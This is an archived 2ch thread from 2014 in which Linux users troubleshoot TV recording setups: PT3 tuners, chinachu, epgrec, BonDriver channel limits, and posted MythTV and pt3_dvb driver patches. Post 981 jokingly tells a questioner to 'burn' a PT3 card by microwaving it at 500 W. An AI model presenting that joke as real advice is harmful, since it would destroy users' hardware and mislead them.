login:Penguin[sage]   投稿日:2014/11/04 17:24:45  ID:vyFCO9So.net(2)
録画鯖のBootはSSDに。TSはHW RAIDにぶっこんである。
バックアップはまだとってないがwww

890
login:Penguin[]   投稿日:2014/11/05 08:07:05  ID:1d4nwRx3.net
ぐお…録画鯖脂肪のお知らせ。
さ、再構築するか…orz

891
885[]   投稿日:2014/11/05 13:23:44  ID:S3S6/STV.net
SSDとepgrecUNA版で鯖の再構築して、めっちゃ快適w
早いとこバックアップ設定しないとな〜。
コメント1件

892
login:Penguin[]   投稿日:2014/11/05 21:07:38  ID:/EWfSuiz.net
>891
ウチもSSDにしてたんだが…
バックアップ真面目に考えよう。次回からは。

893
login:Penguin[sage]   投稿日:2014/11/05 23:01:35  ID:s4vczIam.net
BonDriver_LinuxPT.hのMAX_CHを適当に増やしてBonDriverのチャンネル番号を
物理チャンネルに合わせて設定してますが、チャンネル番号を255に設定すると
0バイトのファイルが出来て録画に失敗します。最初は設定の問題かなと思った
んだけど他の設定はそのままでチャンネル番号だけ254や256にすると普通に
録画できるのでプログラムの問題っぽいです。
コメント2件

894
login:Penguin[sage]   投稿日:2014/11/05 23:10:11  ID:r++/9Ssv.net
ところで唐突な話だけど、
テレビのアンテナから来ているケーブルに
USBのケーブルが絡まると、信号乱れたりするのかな。
はっきりと言い切れるわけじゃないけど、
俺のPCだとそんな傾向がある気がする。

895
login:Penguin[sage]   投稿日:2014/11/05 23:30:25  ID:EJF9utgC.net
ライブ試聴とか使うんだったらテレビでも買えと言おうとしたらepgrecに乗り換えていた時の腑に落ちなさ

896
login:Penguin[sage]   投稿日:2014/11/05 23:58:25  ID:s32RwZNB.net
>> 893

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/maste...
(※不要箇所削除の際は、残した物のBonDriverとしてのチャンネル番号を0からの連番に採番しなおしてください)。
とかOK?

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/maste...#L461
後これとか?

> BonDriverのチャンネル番号を物理チャンネルに合わせて設定してますが

意図していない設定の様な気がする。自分なら素直にデフォルトのconf使うなあ。
コメント1件

897
login:Penguin[sage]   投稿日:2014/11/06 00:59:46  ID:Ayxz3zag.net

898
login:Penguin[sage]   投稿日:2014/11/06 06:42:18  ID:rpZKUkYh.net(2)
>893
>896
>897さんの言う通りだと思います
内部的に、0xff(255)を無効チャンネルとして扱っており、かつチャンネル初期値として保持している為、
もしMAX_CHを256以上に変更した上で最初のSetChannel()に255が指定された場合、既にそのチャンネルに
あわせてあると判断してしまい、実際のioctl(SET_CHANNEL)が行われないはずです

ただ、この無効チャンネルを表す数値が0xffなのは、指定される事は無い値だと言う以上の意味は無いので、
0xffffffffに変更しておきました

899
login:Penguin[sage]   投稿日:2014/11/06 06:51:08  ID:rpZKUkYh.net(2)
ちなみに、BonDriverとしてのチャンネル番号を抜け無しの連番にするのはBonDriverインタフェースの
お約束みたいなもので、どの番号がどのチャンネルを指しているか既に知っており、チャンネル番号を
直接指定する前提であれば必ずしもそうなっている必要はありません
#お約束の目的は、アプリがチャンネルスキャンする際に、EnumChannelName()を0から順番に行い、
#NULLが返ってきた時点でスキャン完了として扱えるように…だと理解しています

ただ、BonDriver_LinuxPT/DVBの場合、内部的なチャンネル情報の保持の仕方は普通の配列なので、
MAX_CHを必要以上に大きくして抜け番号が増えれば増えるほど、無駄にメモリを確保してしまう事に
なるのでご注意ください

900
login:Penguin[sage]   投稿日:2014/11/07 13:29:17  ID:06tB7U0k.net
chinachuさんストリーミング再生不具合修正してくれてる(゚∀゚)
まだ内容確認してないけど

901
login:Penguin[sage]   投稿日:2014/11/08 00:24:46  ID:PtUcPe5e.net(6)
ありゃー、chinachuのバージョンアップしたら、予約録画に失敗するようになった(利用可能なチューナーが見つかりません)
バージョンアップ直後のリアルタイム視聴は出来てたから安心してたんだけどね。うーん、なんかミスったかな?
土日ヒマを見つけて調べてみるか
コメント1件

902
login:Penguin[sage]   投稿日:2014/11/08 01:59:03  ID:BktVHxw+.net(4)
>901
予約録画とリアルタイム視聴の件は別?
バージョンアップ後にリアルタイム視聴していたら予約録画失敗したってこと?
コメント1件

903
login:Penguin[sage]   投稿日:2014/11/08 02:07:15  ID:PtUcPe5e.net(6)
>902
リアルタイム視聴と予約録画は別時間の話しなのだが・・・
コメント1件

904
login:Penguin[sage]   投稿日:2014/11/08 02:09:04  ID:PtUcPe5e.net(6)
眠れんかったので、PCいじりしてて気がついたのだけど、俺がやったのはchinachuのバージョンアップではなく、EPGの更新でした orz
コメント1件

905
login:Penguin[sage]   投稿日:2014/11/08 02:10:15  ID:BktVHxw+.net(4)
>903
話を一緒にしてたからそう聞いてみた
アップデートしたの久々かな?チューナーは何使ってるの?

906
login:Penguin[sage]   投稿日:2014/11/08 02:10:54  ID:BktVHxw+.net(4)
>904
寝てからやりなよww

907
login:Penguin[sage]   投稿日:2014/11/08 02:11:03  ID:PtUcPe5e.net(6)
んで、正しくバージョンアップしたらリアルタイム視聴の打率が大幅アップ(今のところ100%)
幾つか番組予約したので、失敗したらまた報告するわ

908
login:Penguin[sage]   投稿日:2014/11/08 02:13:04  ID:PtUcPe5e.net(6)
ただ、前バージョンのchinachuに手動でEPG更新したら録画予約に失敗したのは本当(2番組で失敗)
こっちは謎のまま

909
login:Penguin[sage]   投稿日:2014/11/08 02:15:19  ID:PtUcPe5e.net(6)
お騒がせしました m(__)m

linux、win、mac混在の我が家ではchinachuは神!
ちなPT3の一枚差し

910
Artane. ◆1o3c8RYIzjU0 []   投稿日:2014/11/08 07:42:16  ID:ZwBXX3W9.net(6)
ISDB対応MythTV(0.27.4)でシグナルが表示されない件、パッチ作ってみた。
pt3_dvb使ってる場合は、ドライバにパッチ当て無いといけないかも知れない(ここから貼っていく)。
まー、アレコレ問題含みだけど。MythTVスレに後でリンク春(`・ω・´)ゞ
パッチは、MythTV側が(とりあえず)二つ。
1. libs/libmythtv
000_libmythtv.cardutil.cpp.ISDB.temp.patch
---
--- cardutil.cpp.orig 2014-11-08 07:14:33.160590285 +0900
+++ cardutil.cpp 2014-11-08 07:28:01.193305347 +0900
@@ -494,7 +494,7 @@
uint CardUtil::GetMinSignalMonitoringDelay(const QString &device)
{
QString name = ProbeDVBFrontendName(device);
- if (name.indexOf("DVB-S") >= 0)
+ if ((name.indexOf("DVB-S") >= 0) || (name.indexOf("ISDB") >= 0))
return 300;
if (name == "DiBcom 3000P/M-C DVB-T")
return 100;
---
つづく。
コメント1件

911
Artane. ◆1o3c8RYIzjU0 []   投稿日:2014/11/08 07:43:11  ID:ZwBXX3W9.net(6)
つづき。MythTv側はここまで。
libs/libmythtv/recorders/
000_libmythtv.recorderes.dvbchannel.cpp.SignalFix.temp.patch
--- dvbchannel.cpp.new 2014-11-08 04:16:36.273939030 +0900
+++ dvbchannel.cpp 2014-11-08 05:10:44.596247350 +0900
@@ -270,7 +270,7 @@
// Turn on the power to the LNB
if (tunerType.IsDiSEqCSupported())
{
- //diseqc_tree = diseqc_dev.FindTree(GetCardID());
+ diseqc_tree = diseqc_dev.FindTree(GetCardID()); // Note
if (diseqc_tree)
diseqc_tree->Open(fd_frontend);
}

912
Artane. ◆1o3c8RYIzjU0 []   投稿日:2014/11/08 07:49:52  ID:ZwBXX3W9.net(6)
次。pt3_dvbでdvb_appのchecksignalが動かないとか、mythtvのシグナル関係で微妙な挙動する問題のパッチ。
はれるかな?
---
001_pt3_fe.c.add.ioctl.20141108.patch (1/2)
--- pt3_fe.c.orig 2014-11-08 03:47:37.465167284 +0900
+++ pt3_fe.c 2014-11-08 05:53:19.605304859 +0900
@@ -987,6 +987,38 @@
return pt3_tc_read_cndat_t(state->adap, NULL, (u32 *)cn);
}

+/*
+ * Starting to support old ioctl: FE_READ_SNR.
+ * Useful for checksignal.
+ * 2014.11.08 K.O
+ */
+static int pt3_fe_t_read_snr(struct dvb_frontend *fe, u16 *cn)
+{
+ struct pt3_fe_t_state *state = fe->demodulator_priv;
+ return pt3_tc_read_cndat_t(state->adap, NULL, (u32 *)cn);
+}
+
+/*
+ * This is test.
+ * Dummy.
+ */
+static int pt3_fe_t_read_ber(struct dvb_frontend *fe, u32 *ber)
+{
+ *ber = 0; /* Assume Bit Error Rate (BER) is 0, Will fix. */
+ return 0;
+}
+
+ /* 続く */
コメント1件

913
Artane. ◆1o3c8RYIzjU0 []   投稿日:2014/11/08 07:50:49  ID:ZwBXX3W9.net(6)
+/* >912 のつづき */
+#if 0
+/*
+ * This is also dummy, still unused. Will Fix.
+ */
+static int pt3_fe_t_read_ucblocks(struct dvb_frontend* fe, u32* ucblocks)
+{
+ *ucblocks = 0; /* Assume Uncorrected blocks count = 0, Will fix. */
+ return 0;
+}
+#endif
+
static int pt3_fe_t_get_frontend_algo(struct dvb_frontend *fe)
{
return DVBFE_ALGO_HW;
@@ -1172,6 +1204,9 @@
FE_CAN_TRANSMISSION_MODE_AUTO | FE_CAN_GUARD_INTERVAL_AUTO | FE_CAN_HIERARCHY_AUTO,
},
.read_signal_strength = pt3_fe_t_read_signal_strength,
+ .read_snr = pt3_fe_t_read_snr,
+ .read_ber = pt3_fe_t_read_ber,
+ /* .read_ucblocks = pt3_fe_t_read_ucblocks, */
.read_status = pt3_fe_t_read_status,
.get_frontend_algo = pt3_fe_t_get_frontend_algo,
.release = pt3_fe_t_release,

914
Artane. ◆1o3c8RYIzjU0 [GPGID:0xCE642680]   投稿日:2014/11/08 07:58:35  ID:ZwBXX3W9.net(6)
>910-913
とりあえず、脳味噌が死んでる状態ででっち上げたので、かなりいい加減だが、選局した時に起きる問題はとりあえず解決したと思う。
MythTVのCNR比表示が1/10されてるっぽい(checksignalだとマトモな?値が出てくる)とか、signalの値は但しいいのか?とか、ダミーIOCTLはいかがなものか。
とか、ツッコミどころは色々あるが、徹夜で取り組んで脳味噌が死んでるのでこれから色々見てくつもり(;´Д`)

後、MythTVのISDB対応、よく出来てるしダメ元で多少書き換えたパッチをDebian Multimediaのmythtv-dmoにマージしてほしいなと思ったので、
暇見てメンテナの人と連絡取ってみようと思います。ので、細かいやり取りについてしたいので、パッチ作られてる方、GPGIDのメアドにメール頂けると助かります。

915
login:Penguin[sage]   投稿日:2014/11/08 11:12:39  ID:NqGYYIrB.net
乙です。
Artane氏はアーテン服用してんの?
コメント1件

916
Artane. ◆1o3c8RYIzjU0 [sageteyon]   投稿日:2014/11/08 16:25:28  ID:ZwBXX3W9.net(6)
>915
どもです。
もう、何十年も前に飲んでたことがありましたよ(-_-;
今はあんなん飲んでない。
このハンドルネーム自体、25年以上使ってるからなぁ…(^_^;

917
login:Penguin[sage]   投稿日:2014/11/08 17:02:21  ID:f60AF8zd.net
そう言えばpt3のdvbドライバは>692の方がカーネルにマージされたみたいだね
(なんかpt3_dvbの人は怒ってるみたいだけど・・・)
その辺の事情も考えると、mythtvのDVBChannel::GetSNR()の方をDVB_API_VERSION>=5に対応させる方が良いと思うよ

918
login:Penguin[sage]   投稿日:2014/11/08 20:38:38  ID:RYzgp267.net
流れぶったぎって悪いのだけど、、、

chinachu で、曜日指定録画はできるの?
3ヶ月探してまだ見つからないんだよね。
無いのだと思うのだけど、あると便利だと思う。

それと、ひとつひとつのルール内で、
無視ワードを完結するだけでなく、
ルール全体への無視ワード登録も可能になると
より使いやすいと思うのだけど、いかが?
コメント1件

919
login:Penguin[sage]   投稿日:2014/11/08 20:43:54  ID:BktVHxw+.net(4)
>918
いいとおもう

920
login:Penguin[sage]   投稿日:2014/11/08 21:43:58  ID:6lMJLjWK.net
正規表現に対応してほしい

921
login:Penguin[sage]   投稿日:2014/11/08 23:05:34  ID:gfmlfr82.net
非正規な世の中なのさ
コメント1件

922
login:Penguin[sage]   投稿日:2014/11/08 23:14:38  ID:Q4WqdeKB.net
>921
それでは諦めます

923
login:Penguin[sage]   投稿日:2014/11/08 23:15:47  ID:WbvxCMeE.net
うちのchinachuはアップデートしてもライブ視聴変わらず…(ヽ´ω`)
avconvのプロセスは現れるけど相変わらず落ちるですよ

ごく一部の特定のチャンネルだけ問題ないって言うのはなんで?
コメント1件

924
login:Penguin[sage]   投稿日:2014/11/09 00:34:00  ID:1bqTv3Y3.net
俺んとこのchinachuはver.up後のリアルタイム視聴成功率は8割から9割くらいかな。以前は5割から6割くらいだったから今回のバージョンアップの満足感は高い。
ちなPT3一枚で運用。地上波、BS/CS、HD/SDで成功率の違いは感じない。BSCSで見るchはJspoスカチャン、ディスカバリーなど限られるけど

925
login:Penguin[sage]   投稿日:2014/11/09 19:49:35  ID:APi1ZkkV.net
今まで何回か出てるけど、pcscliteを1.8.12にするとbcas周りが不安定になるね
1.8.11なら大丈夫。ccidは関係ないようだ

926
login:Penguin[sage]   投稿日:2014/11/10 07:53:11  ID:8TT21gKP.net
>923
録画コマンドの設定に--stripがあるかないかでも違うかも

927
login:Penguin[sage]   投稿日:2014/11/11 11:48:56  ID:pRs4NnnJ.net
MXまたEPGおかしくなってない?CHINACHUで空多すぎるんだけど

928
login:Penguin[sage]   投稿日:2014/11/11 12:24:38  ID:K8e1mgG8.net
いつも通り普通ー

929
login:Penguin[sage]   投稿日:2014/11/11 14:24:54  ID:DLV8k0Uv.net
日曜深夜(日付的には月曜)の放送休止時間のことかな?

930
login:Penguin[]   投稿日:2014/11/11 19:56:37  ID:jxbi/nwK.net
ウチもふつー@ちなちゅ

931
login:Penguin[sage]   投稿日:2014/11/11 20:11:31  ID:Hd4N11Uw.net
直近の番組は大丈夫なんだけど、3日先とかはボロボロ抜けてるんだよなぁ
http://imgs.link/bodEHK.jpg

932
login:Penguin[sage]   投稿日:2014/11/11 21:43:37  ID:/wbQFn9p.net(2)
強制的に update -f したらMXだけ取れてない

933
login:Penguin[sage]   投稿日:2014/11/11 22:02:47  ID:AkmBrLYg.net
もう諦めてWindowsでシステム組んだらいいのに
コメント1件

934
login:Penguin[sage]   投稿日:2014/11/11 22:14:38  ID:/wbQFn9p.net(2)
そういう問題では無いと思う
コメント1件

935
login:Penguin[sage]   投稿日:2014/11/11 23:07:51  ID:RLvHk+l3.net
>933
俺も諦めてWinに戻った
Stable版が出るまで取り敢えずWinかな

936
login:Penguin[sage]   投稿日:2014/11/12 01:28:00  ID:kEz7xrjt.net
>Stable版が出るまで取り敢えずWinかな
そうか2・3年は戻ってこないって事だなw

937
login:Penguin[sage]   投稿日:2014/11/12 04:12:04  ID:UogAGkg5.net
>934
そういう問題だよ

938
login:Penguin[sage]   投稿日:2014/11/12 04:38:03  ID:5wOrwUlh.net
Win環境も良いけど、スレタイくらいは読んでから書いてくれ。

939
login:Penguin[sage]   投稿日:2014/11/12 07:26:17  ID:MXuLlisD.net
PT3 とepgrec STZ版で安定してるけどな

940
login:Penguin[sage]   投稿日:2014/11/12 08:37:01  ID:IuM/Um3W.net
そういう問題ではないな

とりあえず最新版がダメなら前のバージョンに戻して試せばいいのに
何のためのGitなんだか


941
login:Penguin[sage]   投稿日:2014/11/12 15:54:18  ID:WAeETw6+.net
ダウンロードツールと思ってるんじゃない?

942
login:Penguin[sage]   投稿日:2014/11/12 19:08:17  ID:7zLOkpe7.net
chinachuのwuiをfirefox(linux)で表示していると
だんだん重くなって
最後には操作不能になるんだけど

ウチだけかな?

943
login:Penguin[sage]   投稿日:2014/11/12 22:42:47  ID:vH14M7dP.net
pluginがメモリリーク起こしてるらしい
ディストリで対応版出てないの?うちのは直された
コメント1件

944
login:Penguin[sage]   投稿日:2014/11/12 23:19:05  ID:cfCbHs7t.net
>943
情報展開どうもです
33.1が出ていたので33.03からupdateしてみました
ちょっと試した範囲では快調です

945
login:Penguin[sage]   投稿日:2014/11/13 12:49:38  ID:vid/Zn0l.net
[速報]マイクロソフト、フル機能の無料版「Visual Studio Communiti 2013」公開 − Publickey
http://www.publickey1.jp/blog/14/visual_studio_communiti_2013.html
Visual Studio Community 2013 - Visual Studio
http://www.microsoft.com/ja-jp/dev/products/community.aspx

[速報]マイクロソフト、「.NET server framework」のLinuxとMacOS X用オフィシャルディストリビューションを発表。.NETアプリケーションのビルド、実行が可能に − Publickey
http://www.publickey1.jp/blog/14/net_server_frameworklinuxmacos_xlinux...

946
login:Penguin[sage]   投稿日:2014/11/13 13:21:57  ID:hTwFS29C.net
Microsoftついに折れたな
もうWindowsで囲い込めないと察したか?

947
login:Penguin[sage]   投稿日:2014/11/19 16:58:30  ID:Ebl0xCvg.net
久しぶりに公式見たらPT3のファームが新しくなってんのな
どこが変わったんだろう

948
login:Penguin[sage]   投稿日:2014/11/19 17:13:58  ID:RfvMn5Np.net
見た感じ、WinDriverのバージョンアップがあって
それに対応した書き込みソフトというだけな気がする
ファームのバージョンは変わってないような

949
login:Penguin[]   投稿日:2014/11/20 03:16:45  ID:MBCE2pu5.net(2)
カーネルにDVBドライバが存在するチューナーならBonDriverは使用可能でしょうか?
具体的には、DVBドライバが存在する海外用チューナ(RTL2832)を地デジに利用したいと考えています。

linuxについてあまり詳しくないので、解釈が間違っているか教えていただけないでしょうか。

950
login:Penguin[sage]   投稿日:2014/11/20 03:39:55  ID:O+IRM1Gr.net(2)
RTL2832ってRealtekの復調機の型番なのね
チューナー自体がDVB方式の国向けなら日本の地デジ(ISDB-T方式)の受信は無理なんじゃね、Linuxとか関係なく・・・
まぁ俺も素人童貞なんで、もっと正確な事を教えて、エロい人!

951
login:Penguin[]   投稿日:2014/11/20 04:28:27  ID:MBCE2pu5.net(2)
回答ありがとうございます。

ブラジル向け(ISDB-T)の製品にRTL2832U+RT820という組み合わせのものがあるので、
ISDB-T自体はクリアできると考えています。
しかし1200円の激安チューナーにもかかわらず、ブログでの報告などが一切なく、
何か技術的な問題があるのかと思った次第です。

またS870というブラジル向けチューナーではlinuxで地デジの動作報告がありました。
でもこちらは3000円ほどするのであまりメリットがありません。

RTL2832U+RT820で試したという報告が無いのは、皆さんからしたら動く見込みが無いということでしょうか?

952
950[sage]   投稿日:2014/11/20 04:52:29  ID:O+IRM1Gr.net(2)
Linux的にはDVBって放送方式じゃなくデジタル放送(チューナー)全般を指すみたいね。今、調べて気付いた
さっきまで「PTx用DVB版ドライバ??? PT3でDVB受信出来るの???」状態だったよw
つーわけで、誰かエロい人、949の疑問に答えてね

無内容なカキコすまぬ

953
login:Penguin[sage]   投稿日:2014/11/20 07:35:44  ID:V9nV8OWj.net
凡ドラうんぬん以前にワンセグみたいだけどいいのか?
コメント1件

954
login:Penguin[]   投稿日:2014/11/20 09:47:52  ID:ICDGULGn.net
>953
>ワンセグみたいだけどいいのか?

すみません
RTL2832は勘違いかもしれません…
同じ筐体のがRTL2832Uだったので、てっきりソフトウェアレベルで対応するのだと思ってました。

ちなみに注文したのはこれです↓
http://www.ebay.com/itm/ISDB-T-Digital-TV-Stick-Video-Recorder-US...;amp;hash=item3f3cd62ad4

RTL2832以外が載ってるのか、Full segの表記が間違ってるのか現時点ではわからないので、到着したらまた来ます。

ご迷惑をおかけしました。

955
login:Penguin[sage]   投稿日:2014/11/24 16:31:06  ID:kb1j7Bko.net
PT3のBS側の片方が吐くデータが変になって(サイズが8%増しw)予備と入れ替えた
topで見るとRESのサイズが一つだけべらぼうに大きくなっていた
隣りがファンの無いグラボなんで熱の影響が大きかったのかも知れない

956
login:Penguin[]   投稿日:2014/11/30 17:35:22  ID:pDXxGUXJ.net
ageとかないと落ちるんじゃないの
コメント2件

957
login:Penguin[sage]   投稿日:2014/11/30 21:20:59  ID:62Ha8AF6.net
>956
関係ないよ

958
login:Penguin[sage]   投稿日:2014/12/01 01:53:36  ID:HDaSj6ae.net(2)
980超えると24時

959
login:Penguin[sage]   投稿日:2014/12/01 14:09:22  ID:wrti9hjL.net
レス数が981以上だと24時間書き込みがないと落ちる。
不定期のスレ圧縮時は最終書き込みが古いスレが落ちる。
いずれも age/sage は無関係。

960
login:Penguin[sage]   投稿日:2014/12/01 16:54:13  ID:HDaSj6ae.net(2)
途中で書き込んじゃった
980超えると24時間レスない場合も落ちるよ

961
login:Penguin[sage]   投稿日:2014/12/01 17:03:52  ID:A8w+D5lH.net
>956はスレ一覧の一番下から落ちると勘違いしてるんだろうな

962
login:Penguin[sage]   投稿日:2014/12/02 07:43:35  ID:yK2QhL7E.net
そもそもスレが一定量無いと落ちさえしないw
たいていレスのほとんど付いてない糞スレと
980超えしたスレで枠を満たすので
下から落ちる事はほぼ無いw
そして、950で立てるルールは1日も掛からずに
950から1000が埋まるスレだからそのルールがあるのであって、
そこまでレスの付くようなスレでは無いところでまで適用するなとw

963
login:Penguin[sage]   投稿日:2014/12/02 14:45:22  ID:2AKf7WL/.net
950で立てる話なんてどこから出てきたんだ?

964
login:Penguin[sage]   投稿日:2014/12/03 00:53:17  ID:6p/CugPc.net(4)
確かこのスレタイ、二桁は長すぎになったと思う
コメント1件

965
login:Penguin[sage]   投稿日:2014/12/03 01:26:52  ID:pDaCUJne.net(2)
>964
少なくとも、スレタイにもう「アナログ」は要らなくね?

966
login:Penguin[sage]   投稿日:2014/12/03 01:33:03  ID:6p/CugPc.net(4)
え?アナログだけ消したら、スレの趣旨変えることになるし
デジタルも一緒に消せばいいじゃん
そうすりゃ面倒な議論とかもいらないっしょ
コメント1件

967
login:Penguin[sage]   投稿日:2014/12/03 01:34:25  ID:tosDps6o.net
AV端子が無くなるまでは現役
コメント1件

968
login:Penguin[sage]   投稿日:2014/12/03 01:58:20  ID:pDaCUJne.net(2)
>966
テレビ放送でアナログなくなってるんだから、テレビ総合スレとしては不要では?

>967
AV入力って「テレビ」じゃないじゃん。
コメント2件

969
login:Penguin[sage]   投稿日:2014/12/03 02:05:40  ID:6p/CugPc.net(4)
>968
今でもデジアナ変換してる地域はあるらしい
というか、アナログだけ外したら「デジタル」に限定することになるけど
アナログが存在していないという前提なら、「デジタル」に限定する意味もない

970
login:Penguin[sage]   投稿日:2014/12/03 02:28:53  ID:knUP/sRu.net
健全でない言葉が含まれているため表示しません 内容を確認する

971
login:Penguin[sage]   投稿日:2014/12/03 02:43:12  ID:RZx4K8wa.net
>968
赤外線でコントロールすれば宜し。

どうしてもアナログ電波に拘るならアマチュア無線のATVでも受信しよう。
確かBSアナログチューナで行けた筈。

972
login:Penguin[sage]   投稿日:2014/12/03 04:20:10  ID:qFZJOo6Z.net
110度じゃないスカパーとか

973
login:Penguin[sage]   投稿日:2014/12/03 07:25:21  ID:VNBhJXT0.net
現行、リアルタイム視聴は本体だけだと難ありなので視聴外せば?

974
login:Penguin[sage]   投稿日:2014/12/03 07:35:29  ID:6p/CugPc.net(4)
【視聴・録画】Linuxでテレビ総合10 [転載禁止]&#169;2ch.net
【視聴・録画】Linuxでテレビ総合10

975
login:Penguin[sage]   投稿日:2014/12/03 07:36:59  ID:OhxBsXKJ.net
リアルタイム視聴はMythTVの範囲だしな

976
login:Penguin[sage]   投稿日:2014/12/03 11:05:47  ID:+TxUgBXe.net
ああ、・(全角)を_or-(半角)に変えればおさまったのか?

977
login:Penguin[sage]   投稿日:2014/12/03 11:28:24  ID:f2S8rGmu.net
ウチの恵安は(テレビは)、寒さでー
画期的な色になって、すぐ消えた♪

おいおい

978
login:Penguin[sage]   投稿日:2014/12/03 17:32:06  ID:771HzfP3.net
最近のPT3は買ったままでLinuxで使える?
前はなんかWindowsで焼いたりしないといけないとか見たけど
コメント1件

979
login:Penguin[sage]   投稿日:2014/12/03 18:52:40  ID:AtwA2ujx.net
> PT3は買ったままで
> Windowsで焼いたりしないといけない

が何か分からないけど
数週間前PT2がダメになったからPT3にして録画して観ているよ
どっちもubuntuでやってます

980
login:Penguin[sage]   投稿日:2014/12/03 19:06:02  ID:b81pldiE.net(2)
焼く ← FPGA更新

981
login:Penguin[sage]   投稿日:2014/12/03 20:36:59  ID:5blXrLB4.net
>978
何言ってんだよ、電子レンジで1分40秒焼くんだよ。
ポイントは500wってところだ。間違えるなよ。
コメント1件

982
login:Penguin[sage]   投稿日:2014/12/03 20:42:44  ID:0hpIk32I.net
>981
ホントカネー

983
login:Penguin[sage]   投稿日:2014/12/03 22:23:45  ID:Ui0/ZcO7.net
試してガッチョン

984
login:Penguin[sage]   投稿日:2014/12/03 22:37:48  ID:b81pldiE.net(2)
PT-3じゃないけどBCASカードをチンする動画ならあった
https://www.youtube.com/watch?v=w86oTTy9Wcs
更新情報
・スレッド一覧ページで過去ログのタイトル検索・一覧表示ができるようになりました(2016/1/20)
NGワード登録
登録する
スレッド内検索

Linux板 タイトル検索

このスレッドが人気です(実況系)
実況 ◆ テレビ朝日 47010  題名のない由美子 (54)テレ朝実況
秘湯ロマン (576)テレ朝実況
スポーツLIFE HERO'S★1 (922)フジ実況
Going! Sports&News★1 (795)NTV実況
NNNドキュメント「大火の街からの警鐘 検証・糸魚川大規模火災」 (625)NTV実況
[新]ドラマ 花火(1)★2 (778)NHK実況
はやドキ!& あさチャン!月曜日★1 (104)TBS実況
別冊アサ秘ジャーナル★1 (452)TBS実況
このスレッドが人気です(ニュース系)
【森友学園】安倍夫人、名誉校長辞任 安倍首相「寄付を募る紙を見て私も驚愕した。断っているのに名前を使われ遺憾だ」★77 (201)ニュー速+
【森友学園】安倍夫人、名誉校長辞任 安倍首相「寄付を募る紙を見て私も驚愕した。断っているのに名前を使われ遺憾だ」★76 (1000)ニュー速+
【社会】男性保育士による女児の着替え 市長「させる!」、親「やめて!」 (1000)ニュー速+
【森友学園】安倍夫人、名誉校長辞任 安倍首相「寄付を募る紙を見て私も驚愕した。断っているのに名前を使われ遺憾だ」★75 (1000)ニュー速+
【サッカー】<DAZN>中継トラブル..Jリーグは謝罪!声明を発表!DAZNから明日詳細なリリースが配信される予定★2 (823)音楽・芸能ニュース
【森友学園】安倍夫人、名誉校長辞任 安倍首相「寄付を募る紙を見て私も驚愕した。断っているのに名前を使われ遺憾だ」★74 (1000)ニュー速+
【サッカー/EFL杯決勝】吉田先発フル サウサンプトン、0-2から追いつくもイブラ弾に屈す (315)音楽・芸能ニュース
【話題】<桜井誠氏>日本第一党を結党!「政権を取ったら韓国と断交する」 (1000)音楽・芸能ニュース
Linux板の人気スレ
【Raspberry Pi】ラズベリー・パイ part30【ARM】 (318)
【初心者】Ubuntu Linux 110【本スレ】 (410)
Linux使ってて普及するわけないと思った時93 (595)
【視聴・録画】Linuxでテレビ総合14 (96)
Linux使ってて普及するわけないと思った時 94 (161)
初心者の質問相談にやさしく答えるスレ Part7 (646)
Linux Mint 22 (265)
Debian GNU/Linux スレッド Ver.86 (235)
くだらねえ質問はここに書き込め!Part 227 (426)
Arch Linux 12 (316)
【CD/USB】PuppyLinux - 18匹め - 【軽量】 (977)
WindowsやめてLinuxデスクトップ! (376)
オススメLinuxディストリビューションは? Part67 (100)
くだらねえ質問はここに書き込め!Part 223 (998)
「LINUXをメイン機にしてる」ていう奴www (880)
【LXDE】Lubuntu 6 (108)
Kona Linux 3杯 (317)
CentOS Part 46【RHEL Clone】 (468)
Vine Linux Thread 其の67 (476)
オススメLinuxディストリビューションは? Part62 (996)
ID砲丸投げ in Linux板 (ノ・∀・)ノ⌒● 16投目 (976)
オススメLinuxディストリビューションは? Part61 (985)
Win10更新強要に愛想が尽きてLinuxに挑む者 (322)
Fedora 総合スレッド Part 57 (555)
【初心者】Ubuntu Linux 103【本スレ】 (984)
linuxBean Part9 (251)
このサイトについて
このサイトは2ちゃんねるからデータを取得し、表示するサービスです。
画像のインライン表示機能について
画像のURLの後ろにある[画像をインライン表示]をクリックすると、URLの下に表示します。
表示される画像は横幅100pxに縮小されていて、クリックすると原寸で表示します。
このサイトの特徴
1)スレッド内検索ができます
2)レス(「>>1」など)のポップアップができます
3)不適切な言葉を含む投稿を表示しません
4)ページ内で画像を直接表示できます
5)2ch他スレッドへのリンクはタイトル・板名つきでリンクします
6)すっきりとしたデザインで表示します
7)最新スレや前スレをチェック・一覧表示します
8)NGワード機能の搭載でイヤな言葉が目に入りません
9)荒らしを自動チェックします
10)スレッド内・同一IDの書き込みだけ表示できます
11)レスの返事をレスされた発言の下に表示する「まとめビュー」が利用できます
12)シリーズ化したスレッドの一覧を表示します
13)最新のスレッドがある場合はお知らせします
削除について
こちらをご覧ください
機能要望について
現在機能要望受付中です。
問い合わせについて
こちらのページからどうぞ
Amazon


このサイトは2ch.scからデータを取得・表示しています。削除などについてはこちらをご覧ください。 アクセスモード:差分取得 - 新着書き込みなし(304)